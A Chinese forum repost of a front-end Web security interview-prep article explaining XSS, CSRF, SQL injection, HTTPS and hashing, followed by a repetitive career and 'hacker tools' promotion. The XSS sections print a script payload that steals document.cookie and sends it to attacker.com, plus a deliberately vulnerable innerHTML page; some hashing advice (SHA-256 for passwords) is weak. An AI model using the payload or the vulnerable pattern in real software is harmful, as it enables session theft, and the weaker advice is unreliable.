前端必知的Web安全知识(狙击面试知识点)

打印 上一主题 下一主题

主题 962|帖子 962|积分 2886

你真的懂Web安全吗?比如下面的几个下题目
   

  • XSS必要转义的字符有哪些?为什么对这些字符进行转义
  • XSS攻击者可以到达哪些目的?举例的时候不要举alert(‘xxx’)
  • CSRF攻击的本质是什么?使用了浏览器的什么计谋?
  • https加密如何验证服务端身份?https全程都是非对称通讯吗?
  • 加密套件了解吗?你知道哪些加密算法?
  • 如何计划一个安全的登录体系,你会思量哪些点
  如果以上题目还有狐疑的地方,接待往下阅读,本文将用浅近易懂的语言带你快速了解Web安全。
Web安全是指保护Web应用步伐免受恶意攻击和滥用的过程。攻击者可以通过Web漏洞来使用应用步伐并盗取敏感信息、执行未经授权的操纵或粉碎应用步伐。
一. XSS

1.1 基本概念

   xss 全程是 Cross Site Scripting,跨站脚本攻击,是为了克制与css混淆,以是叫xss
  PS: 着实很多现代浏览器大概现代框架都有对XSS做处理,但复杂应用场景,仍然是XSS繁殖的温床,我们有必要了解XSS攻击的原理和手段
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4.   <title>My App</title>
  5.   <style>
  6.     .App {
  7.       text-align: center;
  8.     }
  9.     .App-header {
  10.       background-color: #282c34;
  11.       min-height: 100vh;
  12.       display: flex;
  13.       flex-direction: column;
  14.       align-items: center;
  15.       justify-content: center;
  16.       font-size: calc(10px + 2vmin);
  17.       color: white;
  18.     }
  19.   </style>
  20. </head>
  21. <body>
  22.   <div class="App">
  23.     <header class="App-header">
  24.       <p id="name"></p>
  25.     </header>
  26.   </div>
  27.   <script>
  28.     window.onload = function() {
  29.       const params = new URLSearchParams(window.location.search);
  30.       const name = params.get('name');  // 获取name参数
  31.       document.getElementById('name').innerHTML = name;
  32.     };
  33.   </script>
  34. </body>
  35. </html>
复制代码
1.2 XSS攻击原理

攻击者通过向页面注入恶意脚本实现攻击。
1.3 模拟场景

1.2.1 反射型XSS攻击 (非长期型)

将恶意脚本注入到URL参数中。攻击者通常会将包罗恶意脚本的链接通过垂纶邮件、社交网络等方式发送给受害者,诱导他们点击链接。
反射型XSS攻击的特点是恶意脚本只在用户点击链接后被执行,而不是存储在服务器上。
场景伪代码模拟

例如,如果某个网站直接将url参数不做处理设置为html内容:
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4.   <title>My App</title>
  5. </head>
  6. <body>
  7.   <div class="App">
  8.     <header class="App-header">
  9.       <p id="name"></p>
  10.     </header>
  11.   </div>
  12.   <script>
  13.     window.onload = function() {
  14.       const params = new URLSearchParams(window.location.search);
  15.       const name = params.get('name');  // 获取name参数
  16.       document.getElementById('name').innerHTML = name;
  17.     };
  18.   </script>
  19. </body>
  20. </html>
复制代码
攻击者伪造了如下url链接,通过在参数中注入恶意脚本
  1. http://www.example.com/search.php?name=<script>var cookie = document.cookie;var xhr = new XMLHttpRequest();var url = `https://www.attacker.com?usercookie=${cooke};`xhr.open('GET', url); xhr.send();</script>
复制代码
在这个URL中,攻击者将恶意脚本代码 <script>var cookie = document.cookie;var xhr = new XMLHttpRequest();var url = 'https://www.attacker.com;x // 发送GET请求 xhr.open('GET', url); xhr.send();</script> 注入到了 name 参数中。
当用户在浏览器中访问这个URL时,Web应用步伐会将这个参数值取出来,并将它显现在页面上,从而使恶意脚本代码被执行。这段伪代码大概就实现了获取用户cookie,并发送到黑客的服务器上。
1.2.2 存储型XSS攻击 (长期型)

存储型XSS攻击则是攻击者将恶意脚本代码存储到Web应用步伐的数据库中,然后在其他用户访问这个Web应用步伐时,将恶意脚本代码注入到页面中,从而实现攻击。
场景伪代码模拟

具体来说,攻击者通常会在Web应用步伐的输入框中输入恶意脚本代码,例如在有评论区的页面中输入评论
  1.         script>var cookie = document.cookie;var xhr = new XMLHttpRequest();var url = `https://www.attacker.com?usercookie=${cooke};`xhr.open('GET', url); xhr.send();</script>
复制代码
当Web应用步伐将这个恶意脚本代码存储到数据库中,并将它显现给其他用户时,恶意脚本代码就会在这些用户的浏览器中执行,从而实现攻击。存储型XSS攻击比反射型XSS攻击更危险,由于攻击者只必要注入一次恶意代码,就可以攻击多个用户,而反射型XSS攻击则必要攻击者每次都构造不同的URL,才能攻击不同的用户。
1.4 攻击危害

XSS攻击的危害紧张包括以下几个方面:


  • 盗取用户的Cookie信息:攻击者可以通过XSS注入恶意脚本代码,盗取用户的Cookie信息(PS: 通过document.cookie获取),然后使用这些信息进行各种非法操纵,如盗取用户的账号、发送恶意邮件等。
  • 盗取用户的敏感信息:攻击者可以通过XSS注入恶意脚本代码,例如通过监听键盘输入时间,获取用户的敏感信息,如账户名、暗码、银行卡号等。
  • 控制用户的浏览器:攻击者可以通过XSS注入恶意脚本代码,控制用户的浏览器,执行各种非法操纵,如弹出广告、下载恶意软件等。
  • 攻击其他用户:攻击者可以通过XSS注入恶意脚本代码,攻击其他用户,如在论坛中发布恶意评论、盗取其他用户的Cookie信息等。
1.5 常用Web漏洞

在说防范步伐前,先总结下XSS通常使用的漏铜

  • 缺乏输入验证:Web应用步伐未对用户输入的数据进行合法性验证或过滤,导致恶意脚本可以或许被乐成注入到Web页面中。
  • 缺乏输出过滤:Web应用步伐未对输出到Web页面中的数据进行合适的过滤,导致恶意脚本可以或许被乐成渲染和执行。
  • 跨站脚本漏洞:Web应用步伐在输出到Web页面中的数据中,未对敏感字符进行转义,导致攻击者可以或许在Web页面中注入恶意脚本。
  • 恶意广告:恶意广告是指攻击者在广告中嵌入恶意代码,以实现DOM型XSS攻击。用户在访问包罗恶意广告的网站时,恶意代码会被执行,从而导致受害者的敏感信息泄露。
  • 恶意浏览器扩展:恶意浏览器扩展是指攻击者制作的、以浏览器扩展步伐的情势存在的恶意代码,用于实现DOM型XSS攻击。
1.6 防范步伐

1. 对用户的输入进行验证过滤

验证和过滤的目的是确保用户输入的数据符合预期的格式和内容,克制恶意脚本或非法字符的注入。验证和过滤一样平常使用正则表达式或其他相关函数对输入的数据进行处理。
,我们可以使用一些开源的防范XSS攻击的库来过滤用户输入的数据。例如在Node.js中,我们可以使用xss或sanitize-html等库来进行数据过滤。
下面是一个示例代码,使用正则表达式过滤掉一些特别字符:
  1. function filterInput(input) {
  2.   const filteredInput = input.replace(/[^\w\s]/gi, '');
  3.   return filteredInput;
  4. }
  5. const userInput = "<script>alert('Hello World!');</script>";
  6. const filteredInput = filterInput(userInput);
  7. console.log(filteredInput); // output: alertHello World
复制代码
在上面的代码中,我们定义了一个filterInput函数,该函数使用正则表达式过滤掉非字母、数字和空格的字符。我们调用该函数时,将用户输入的数据作为参数传入,并获取到过滤后的数据。
2. 对输出到页面的内容进行转义

转义的目的是将输出到页面的数据进行转换,克制被浏览器误解为HTML代码,从而克制XSS攻击的发生。
1.1 HTML实体编码转义

  1. // 通常需要转义的字符
  2. //  <、>、"、&、/、 &
  3. function escapeHtml(str) {
  4.         return str.replace(/[&<>"']/g,
  5.          function(match) {
  6.                   switch (match) {
  7.                           case '&': return '&amp;';
  8.                           case '<': return '&lt;';
  9.                           case '>': return '&gt;';
  10.                           case '"': return '&quot;';
  11.                           case "'": return '&#39;';
  12.                   }
  13.         }
  14.         );
  15. }
复制代码
转义这些字符的缘故起因分析:

  • < 和 >:这两个字符用于HTML标签的起始和结束,如果不进行转义,可能会被看成标签剖析,导致安全题目。
  • " 和 ':这两个字符用于定义HTML属性的值,如果不进行转义,可能会被看成属性值的起始和结束,导致属性值不正确或安全题目。
  • &:这个字符用于HTML实体引用,如果不进行转义,可能会被看成实体引用的起始符号,导致HTML语法错误或安全题目。
   举例说明: 假设我们有一个输入框,用户可以输入自己的名字。如果用户输入的名字中包罗了 & 符号,并且我们没有进行转义处理,那么就可能会导致XSS攻击。
  例如,恶意攻击者可以构造一个名字为 John&<script>alert('XSS');</script>,这个名字包罗了 & 符号和脚本代码,如果我们直接将这个名字显示在页面上,就会触发XSS攻击。
  

  • /:这个字符用于路径分隔符,如果不进行转义,可能会被看成路径分隔符,导致路径剖析错误或安全题目。
  • %:这个字符用于URL编码中,如果不进行转义,可能会导致URL剖析错误或安全题目。
1.2 JavaScript字符串转义:

将JavaScript字符串中的特别字符转换为对应的转义字符。例如,将反斜杠 () 转义为 \\,将换行符 (\n) 转义为 \n,将制表符 (\t) 转义为 \t。示例代码如下:
  1.         function escapeJsString(str) {
  2.                 return str.replace(/[\\'"]/g, function(match) {
  3.                         switch (match) {
  4.                                 case '\\': return '\\\\';
  5.                                 case "'": return "\\'";
  6.                                 case '"': return '\"';
  7.                 }
  8.         }); }
复制代码
1.3 URL编码转义

将URL中的特别字符转换为对应的URL编码。例如,将空格转换为 %20,将加号 (+) 转换为 %2B,将问号 (?) 转换为 %3F。示例代码如下:
  1. function escapeUrl(str) {   return encodeURIComponent(str); }
复制代码
必要注意的是,不同的转义方式可能适用于不同的场景和需求,我们必要根据具体的应用步伐,选择合适的转义方式来防范XSS攻击。同时,转义只是一种防范XSS攻击的步伐,还必要联合其他安全步伐,例如输入验证、输出过滤、Cookie安全标志等,来进步应用步伐的安全性。
在前端开发中,通常可以使用一些转义函数来进行转义处理,例如JavaScript中的escape和encodeURIComponent函数,以及jQuery中的.escapeSelector和.escapeSelector和.escapeSelector和.html函数等。这些函数可以帮助我们快速地对特别字符进行转义处理,从而进步应用步伐的安全性和正确性。
3. 使用HTTPOnly Cookie

使用HTTPOnly Cookie可以防止恶意脚本通过document.cookie获取用户的Cookie信息。以下是一个设置HTTPOnly Cookie的示例:
  1. const http = require('http');
  2. http.createServer((req, res) => {
  3.   res.writeHead(200, {
  4.     'Set-Cookie': 'mycookie=value; HttpOnly'
  5.   });
  6.   res.end('Hello, world!');
  7. }).listen(3000);
复制代码
4. 设置CSP

CSP(Content Security Policy), CSP允许我们通过在HTTP响应头中设置一个计谋,来告诉浏览器只信托特定的资源来源。当浏览器吸收到这个计谋时,会根据计谋限定资源的加载和执行,从而进步Web应用步伐的安全性。
  1. <meta http-equiv="Content-Security-Policy" content="default-src 'self'">
复制代码
二. CSRF

2.1 基本概念

CSRF(Cross-site request forgery)跨站请求伪造,攻击者通过伪造用户请求,使用户在不知情的情况下执行某些操纵,例如发送邮件、转账等。
2.3 攻击原理

笔者在一局面试中曾遇到以下场景
   面试官: CSRF攻击的底层原理是什么?
  笔者: 通过盗用了了用户的身份。比如用户已经在a网站登岸balabala
  面试官: 这不是底层原理,你应该从浏览器的协议的底层来讲,CSRF到底是使用了什么特性
  笔者 : 一脸懵逼
  面试官: 提示你一下,这里是由于cookie是吗,着实是cookie的什么特性,是为了办理什么题目而又引入了什么题目
  笔者: 更大的懵逼
  从网络底层协议(紧张是 HTTP 协议)的角度来看,CSRF(Cross-Site Request Forgery,跨站请求伪造)攻击可以或许乐成紧张是使用同源计谋的漏洞

  • 在使用 Ajax(XMLHttpRequest 或 Fetch API)进行跨域请求时,确实是默认不带 Cookie 的,除非明确设置了 withCredentials 属性。
  • 但在进行其他范例的跨站请求(如 <img>、<form> 等)时,浏览器会自动带上目标站点的 Cookie。这些都是所谓的"简单请求",它们不会触发 CORS 预检请求,因此直接发出,并且会自动附带目标站点(目标站点和请求发起站点不同)的 Cookie。
综合起来

攻击者诱导用户访问一个恶意网站,在这个网站中嵌入一个自动发起请求到目标网站(比如银行网站)的代码。由于简单请求浏览器会自动附带目标网站的 Cookie,而服务器又无法区分这个请求是用户自愿发起还是被 CSRF 攻击触发的,因此攻击就有可能乐成。
防御 CSRF 攻击通常必要在应用层面加以防范,例如引入 CSRF Token、检查请求的 Referer 等。
   !!! 要区分好原理和场景,攻击的原理应该是从浏览器中http协议的特点来讲,而不是讲场景。
  2.4 模拟场景

攻击者通常必要知道用户已经登录了某个网站,然后通过某种方式诱导用户访问一个恶意网站或点击恶意链接。恶意网站会自动发送伪造的请求到被攻击网站,使用用户已经登录了被攻击网站的Cookie等身份验证信息,执行一些危害性操纵,例如修改用户信息、发起转账等。
一个简单的模拟场景可以是,在被攻击网站A上,用户已经登录并保留了身份验证信息,攻击者构造一个伪造的请求页面B,并在该页面中构造一个伪造请求的表单,其中包罗被攻击网站A的某个操纵的请求参数,同时向该操纵的目标URL发起请求,使用用户在网站A中的身份验证信息,实现伪造请求。
2.5 攻击危害

CSRF攻击可以导致许多危害性的后果,例如:


  • 盗取用户账号信息和其他个人隐私信息
  • 伪造用户操纵,例如转账、发邮件等
  • 修改用户信息,例如更改暗码、修改收货所在等
2.6 防范步伐

为了防范CSRF攻击,我们可以采取以下步伐:

  • 验证来源:在服务器端验证请求的来源是否是可信的,例如验证Referer、Origin、CSRF Token等信息。
  • 使用CSRF Token:在表单中添加一个随机天生的Token,服务器端验证请求的时候必要验证该Token的合法性。
  • 限定访问:对于某些敏感的操纵,限定访问来源,例如必要在特定的IP所在、特定的网络情况等条件下才能进行访问。
  1. const express = require('express');
  2. const app = express();
  3. // 定义敏感操作的路由
  4. app.get('/sensitive', (req, res) => {
  5.   const allowedIPs = ['127.0.0.1', '192.168.0.1']; // 允许访问的IP地址列表
  6.   const clientIP = req.ip; // 获取客户端IP地址
  7.   // 检查客户端IP是否在允许访问的IP地址列表中
  8.   if (allowedIPs.includes(clientIP)) {
  9.     // 符合条件,执行敏感操作
  10.     // TODO: 在此处执行敏感操作的代码
  11.     res.send('Sensitive operation executed successfully');
  12.   } else {
  13.     // 不符合条件,拒绝访问
  14.     res.status(403).send('Access denied');
  15.   }
  16. });
  17. // 启动服务器
  18. app.listen(3000, () => {
  19.   console.log('Server started on port 3000');
  20. });
复制代码

  • 禁用第三方Cookie:禁用第三方Cookie,克制攻击者使用第三方Cookie进行CSRF攻击。
  1. Set-Cookie: mycookie=value; SameSite=Strict
复制代码

  • 对用户操纵进行二次确认:在执行某些敏感的操纵之前,要求用户进行二次确认,例如要求用户输入暗码、输入验证码等。
总之,CSRF攻击是一种常见的Web攻击,可以通过验证来源、使用CSRF Token、限定访问、禁用第三方Cookie、对用户操纵进行二次确认等方式进行防范。
三. SQL注入

3.1 基本概念

SQL注入是一种常见的攻击方式,攻击者通过在应用步伐的输入框等地方输入恶意代码,以获取或篡改数据库中的数据。攻击者可以使用这种漏洞,绕过登录、获取敏感数据等。
3.2 攻击原理

攻击者向应用步伐提交带有恶意SQL代码的请求,如果应用步伐没有对输入进行过滤或验证,那么恶意代码就可以被执行,从而访问或篡改数据库中的数据。
3.3 危害

SQL注入可以造成严峻的安全题目,例如修改、删除、泄露数据库中的数据,以及拿到管理员账户和暗码等。
3.4 防范步伐

克制拼接SQL语句,使用参数化的SQL语句,对用户输入的数据进行过滤和验证,设置精良的用户权限,定期进行安全漏洞扫描等。
四. 中间人攻击

4.1 基本概念

中间人攻击是攻击者通过劫持网络传输的数据包,获取敏感信息。例如,在用户登录网银时,攻击者可以通过劫持数据包的方式,获取用户的账号和暗码等信息。
4.2 原理

攻击者可以在用户和服务器之间插入自己的署理服务器,将用户发送的请求转发到服务器,同时也可以或许获取服务器返回的响应数据。攻击者可以修改数据包中的内容,从而获取敏感信息。
4.3 危害

中间人攻击可以获取用户的敏感信息,例如账户暗码、银行卡号等,从而造成财产丧失和个人信息泄露等安全题目。
4.4 防范步伐


  • 使用HTTPS协议进行数据传输,通过数字证书来验证服务器的身份,从而确保与服务器之间的通讯是加密的且没有被篡改的。
4.4.1 睁开: Https加密的过程是怎么样的?


  • 客户端向服务器发送一个HTTPS请求,请求中包罗支持的暗码套件列表 _(包罗加密算法、择要算法、密钥交换算法) 以及一个随机数。
  • 服务器将自己的证书(Certificate)发送给客户端,证书中包罗公钥、服务器信息、署名等。
  • 客户端吸收到证书后,必要对证书进行验证,验证证书的合法性以及署名是否正确,这一步叫做SSL握手过程的证书验证。
  • 如果证书验证通过,客户端天生一个随机的对称加密密钥,使用服务器证书中的公钥加密后发送给服务器。
  • 服务器吸收到加密后的对称密钥,使用自己的私钥进行解密,得到客户端天生的对称密钥。
  • 客户端和服务器使用协商好的加密算法和对称密钥进行通讯。
在这个过程中,客户端必要对服务器证书进行验证。这个过程可以分为以下几个步骤:

  • 验证证书链:客户端必要验证证书链中所有证书的合法性,包括证书的署名、有效期、证书颁发者等。
  • 验证证书颁发者:客户端必要验证证书颁发者是否可信,包括证书颁发者的证书是否可信、是否在信托列表中等。
  • 验证服务器身份:客户端必要验证证书是否属于服务器,可以通过比较证书中的主机名、IP所在等信息来判定。
  • 验证证书吊销:客户端必要检查证书是否被吊销,可以通过在线验证大概本地CRL(证书吊销列表)来实现。
当证书验证通过后,客户端可以安全地天生对称密钥并发送给服务器,如许中间人就无法获得加密的通讯内容。
   注意: HTTPS在握手阶段会使用非对称加密,而在通讯阶段则会使用对称加密。如许做的缘故起因是对称加密算法的加密速率比非对称加密算法要快很多,对于数据通讯的实时性要求较高的场景更加得当。同时,在HTTPS握手阶段使用非对称加密算法,可以保证传输过程中密钥的安全性,防止中间人攻击等安全威胁。
  4.4.2 暗码套件

Https中客户端必要告知服务端自己支持的暗码套件,这里具体解释下
暗码套件(Cipher Suite)是一组暗码学算法和协议,用于保护网络通讯的秘密性、完备性和身份认证。一个暗码套件包罗以下几个部门:

  • 对称密钥算法:用于加密和解密数据的对称密钥算法,例如AES、DES等;
  • 密钥交换算法:用于在通讯两边之间安全地交换加密密钥的算法,例如RSA、DH、ECDH等; (非对称加密)
  • 消息认证码算法:用于检验消息的完备性和真实性,例如HMAC-SHA256、CMAC等;
  • 安全哈希算法:用于天生数字指纹,例如SHA256、SHA384等;
  • 协议版本:用于标识通讯两边所使用的TLS或SSL协议版本。
一个暗码套件可以包罗多个算法,这些算法的选择和组合可以影响TLS或SSL协议的安全性和性能。通常,一个暗码套件应该既要提供足够的安全性,又要尽可能地减少通讯的延迟和负担。
五. 加密算法

对称加密算法:

如DES、3DES、AES等。对称加密算法加密解密使用同一个密钥,加密速率快,得当加密大量数据。但是密钥的分发和管理比较麻烦,而且密钥泄露会导致所有数据都暴露。
非对称加密算法:

如RSA、DSA、ECC等。非对称加密算法加密解密使用不同的密钥,公钥公开,私钥保密。公钥加密的数据只能使用私钥解密,私钥加密的数据只能使用公钥解密。非对称加密算法安全性高,但是加密速率慢,得当加密少量数据
哈希算法(择要算法):

如MD5、SHA等。哈希算法不可逆,无法从哈希值还原原始数据。哈希算法常用于暗码存储和消息完备性验证。
常见的哈希算法包括以下几种:

  • MD5(Message Digest Algorithm 5):MD5是一种广泛使用的哈希算法,天生128位(16字节)的哈希值。它在数据完备性校验、和简单的数据同等性检查等场景中被广泛使用。然而,由于MD5存在碰撞(两个不同的输入可以天生相同的哈希值)和弱碰撞(存在相同前缀的两个输入可以天生相同的哈希值)的安全性题目,不得当用于对抗恶意攻击或安全敏感的场景。
一样平常来说,在暗码存储中会选择具有较高安全性和抗碰撞攻击的哈希算法。常见的选择是SHA-256和bcrypt。下面对这两种算法进行简要介绍:

  • SHA-256(Secure Hash Algorithm 256-bit):SHA-256是SHA-2系列中的一种算法,天生256位(32字节)的哈希值。SHA-256在暗码存储中被广泛使用,具有较高的安全性和抗碰撞攻击能力。它可以或许提供强大的暗码散列,并且盘算速率相对较快。不外,由于盘算速率较快,它也更容易受到暴力破解和暗码字典攻击的影响。
   小结: 暗码加密用sha256、检验内容完备性常用md5
  

  • bcrypt:bcrypt是一种专门用于暗码存储的哈希算法,它基于Blowfish加密算法。bcrypt通过添加工作因子(work factor)和盐值(salt)来增加哈希盘算的耗时,从而增加暗码破解的难度。它的盘算速率相对较慢,可以或许有效反抗暴力破解和彩虹表攻击。bcrypt算法的一个特点是工作因子可以调整,可以根据实际需求进行适当的调整以均衡安全性和性能。
选择合适的暗码哈希算法必要综合思量安全性、性能和可用性等因素。除了算法自己的安全性外,还应注意以下几点:


  • 盐值:使用随机天生的盐值,增加每个用户哈希值的唯一性。
  • 迭代次数:通过增加哈希盘算的迭代次数,增加盘算的耗时,从而增加暗码破解的难度。
  • 防止彩虹表攻击:彩虹表是预先盘算出的哈希值和暗码的对应关系表,可以加入“盐”或使用“暗码哈希算法+盐”的组合方式,防止彩虹表攻击。
必要根据具体应用的安全要求和性能需求进行选择,并在实现时遵循最佳实践。此外,安全领域的技术和威胁也在不断演进,以是建议关注暗码存储的最新安全建媾和行业标准。
这些哈希算法在各种场景中发挥着紧张作用,包括但不限于:


  • 数据完备性校验:哈希算法可以用于验证数据在传输或存储过程中是否发生了篡改或损坏。
  • 数字署名:哈希算法联合私钥进行数字署名,用于验证数据的真实性和完备性。
  • 暗码存储:哈希算法常用于暗码存储,将用户的暗码经过哈希盘算后存储,以增加暗码的安全性。
  • 安全通讯:哈希算法用于天生消息择要,用于验证数据的完备性和防止数据篡改。

  • 对称加密算法和非对称加密算法的联合:如SSL/TLS协议中使用的加密方式,先使用非对称加密算法对对称加密算法的密钥进行加密传输,然后使用对称加密算法对实际传输的数据进行加密。这种方式既保证了安全性,也保证了传输效率。
   PS: 以前https基于ssl协议,但由于存在安全漏洞,目前已被TLS协议代替
  六. 安全设置 & 安全监控(服务端)

6.1 安全设置

安全设置是指在后端体系中进行的一系列安全设置,旨在保障体系的安全性。以下是几个常见的安全设置步伐:

  • 防火墙:防火墙是一种网络安全设备,用于监控和控制网络流量。通过设置防火墙,可以控制入站和出站流量,实现对网络的访问控制和保护。
  • IP限定:IP限定是指对服务器的访问进行限定,只允许特定的IP所在访问服务器。这可以有效地防止非法访问、恶意攻击和数据泄露。对于企业内部网络,管理员可以根据组织的网络结构和访问需求,设置只允许某些特定的IP所在访问关键体系,以增强安全性。
  • 禁止长途登录:禁止长途登录是指关闭或限定长途登录功能,只允许本地登录。这可以防止未经授权的长途访问和恶意攻击。
  • 数据库安全:数据库安全是指对数据库的访问进行限定,只允许授权用户进行访问。同时,应采取必要的安全步伐来防止SQL注入等攻击,例如输入验证、数据过滤和参数化查询等。
  • 应用服务器安全:应用服务器安全是指对应用服务器进行必要的安全设置,例如设置HTTPS、设置访问控制和限定文件访问等。
6.2 安全监控


  • 定期进行漏洞扫描:使用安全扫描工具对Web应用步伐进行定期扫描,发现漏洞并及时进行修复。
  • 进行安全监控:使用安全监控工具对Web应用步伐进行实时监控,及时发现安全题目,例如非常访问、攻击等。
  • 加强日志管理:对Web应用步伐的日志进行集中管理,对日志进行监控和分析,及时发现非常变乱。
  • 加强对安全变乱的响应能力:对安全变乱进行快速响应,采取及时有效的步伐防止安全变乱扩大化。
  • 加强对安全意识的培训:定期组织安全培训,进步员工的安全意识,克制人为因素导致安全题目。
七. 安全小测验: 计划一个登录体系

以下非标准答案,仅供参考。

  • HTTPS协议:使用HTTPS协议保证数据传输的安全性。(考察对中间人攻击的了解)
  • 用户名和暗码加密:对用户的暗码进行加密存储(sha-256),防止敏感信息被盗。
   暗码加密中的公私钥
  服务端天生: 公钥和私钥通常由服务端天生。
  通过安全通道发送: 公钥可以通过HTTPS安全地发送到前端。
  数字证书: 公钥也可以嵌入在数字证书中,由受信托的证书颁发机构(CA)签订。
  

  • 防止XSS攻击:在前端页面对输入数据进行过滤和转义,克制用户输入恶意脚本。
  • 防止CSRF攻击:每次请求带上token,在后端对请求进行验证,判定是否合法。
  • 限定登录次数:在登录时限定登录次数,防止暴力破解暗码。
八. 小结


  • 基础概念:Web安全中的常见攻击方式,例如 XSS、CSRF、SQL注入、中间人攻击等,以及防范步伐的原理和方法。
  • 安全协议:HTTP、HTTPS协议的区别、SSL/TLS的加密机制和过程、数字证书的作用等。
  • 安全编程:前端开发过程中,如何防范这些常见的安全题目。
  • 安全设置:Web服务器、数据库、应用服务器等后端体系的安全设置,例如设置防火墙、限定访问IP、禁止长途登录等。
  • 安全监控:对Web应用步伐进行安全监控和漏洞扫描,及时发现和办理安全题目。
题外话

初入盘算机行业的人大概大学盘算机相关专业毕业生,很多因缺少实战经验,就业到处碰壁。下面我们来看两组数据:
2023届天下高校毕业生预计到达1158万人,就业形势严峻;
国家网络安全宣传周公布的数据显示,到2027年我国网络安全人员缺口将达327万。
一方面是每年应届毕业生就业形势严峻,一方面是网络安全人才百万缺口。
6月9日,麦可思研究2023年版就业蓝皮书(包括《2023年中国本科生就业陈诉》《2023年中国高职生就业陈诉》)正式发布。
2022届大学毕业生月收入较高的前10个专业
本科盘算机类、高职自动化类专业月收入较高。2022届本科盘算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科盘算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。
具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均到达了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。

“没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳固至关紧张的因素之一。
网络安全行业特点

1、就业薪资非常高,涨薪快 2022年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!

2、人才缺口大,就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而天下各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全陈诉》猜测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。

行业发展空间大,岗位非常多
网络安全行业财产以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗出工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据判定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、劫难恢复专业人员、实战攻防专业人员…
职业增值潜力大
网络安全专业具有很强的技术特性,尤其是把握工作中的焦点网络架构、安全技术,在职业发展上具有不可替代的竞争优势。
随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一起看涨,这也是为什么受大家接待的紧张缘故起因。
从某种水平来讲,在网络安全领域,跟大夫职业一样,越老越吃香,由于技术愈加成熟,天然工作会受到重视,升职加薪则是水到渠成之事。
黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图

行业发展空间大,岗位非常多
网络安全行业财产以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗出工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据判定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、劫难恢复专业人员、实战攻防专业人员…
职业增值潜力大
网络安全专业具有很强的技术特性,尤其是把握工作中的焦点网络架构、安全技术,在职业发展上具有不可替代的竞争优势。
随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一起看涨,这也是为什么受大家接待的紧张缘故起因。
从某种水平来讲,在网络安全领域,跟大夫职业一样,越老越吃香,由于技术愈加成熟,天然工作会受到重视,升职加薪则是水到渠成之事。
黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗出测试基础、漏洞详解、盘算机基础知识等,都是网络安全入门必知必会的学习内容。
3.技术文档和电子书

技术文档也是我自己整理的,包括我到场大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。
4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受接待的几十款款黑客工具。涉及范围紧张集中在 信息收集、Android黑客工具、自动化工具、网络垂纶等,感兴趣的同学不容错过。
还有我视频里讲的案例源码和对应的工具包,必要的话也可以拿走。
这些题目都是大家在面试笃信服、奇安信、腾讯大概其它大厂面试时经常遇到的,如果大家有好的题目大概好的看法接待分享。
参考剖析:笃信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操纵体系、协议、渗出测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包罗、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

不到断气不罢休

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表